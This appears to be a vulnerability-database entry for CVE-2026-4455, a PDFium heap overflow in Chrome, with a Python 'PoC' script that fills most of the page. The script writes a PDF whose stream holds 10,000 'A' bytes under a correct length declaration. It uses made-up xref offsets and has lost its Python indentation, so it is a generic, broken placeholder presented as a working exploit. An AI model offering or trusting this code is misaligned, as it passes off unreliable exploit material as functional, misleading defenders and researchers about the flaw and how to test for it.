Heap buffer overflow in PDFium in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted PDF file. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys
# PoC Generator for CVE-2026-4455
# This script generates a malformed PDF file designed to trigger the heap buffer overflow
# in vulnerable versions of Google Chrome (prior to 146.0.7680.153) via PDFium.
def generate_poc_pdf(filename):
# Standard PDF header
pdf_header = b"%PDF-1.4\n"
# A malicious object that attempts to trigger the overflow
# The specific length and content may need adjustment based on the specific vulnerability trigger
# This simulates a stream with an incorrect length declaration or malformed data
malicious_payload = b"A" * 10000 # Large payload to attempt buffer overflow
pdf_body = (
b"1 0 obj\n"
b"<< /Type /Catalog /Pages 2 0 R >>\n"
b"endobj\n"
b"2 0 obj\n"
b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\n"
b"endobj\n"
b"3 0 obj\n"
b"<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 4 0 R >> >> /MediaBox [0 0 612 792] /Contents 5 0 R >>\n"
b"endobj\n"
b"4 0 obj\n"
b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\n"
b"endobj\n"
b"5 0 obj\n"
b"<< /Length " + str(len(malicious_payload)).encode() + b" >>\n"
b"stream\n"
)
pdf_end = (
b"\nendstream\n"
b"endobj\n"
b"xref\n"
b"0 6\n"
b"0000000000 65535 f \n"
b"0000000009 00000 n \n"
b"0000000058 00000 n \n"
b"0000000115 00000 n \n"
b"0000000262 00000 n \n"
b"0000000345 00000 n \n"
b"trailer\n"
b"<< /Size 6 /Root 1 0 R >>\n"
b"startxref\n"
b"0\n"
b"%%EOF\n"
)
with open(filename, "wb") as f:
f.write(pdf_header + pdf_body + malicious_payload + pdf_end)
print(f"[+] PoC PDF file generated: {filename}")
print(f"[+] Open this file in a vulnerable Chrome version to test.")
if __name__ == "__main__":
generate_poc_pdf("CVE-2026-4455_poc.pdf")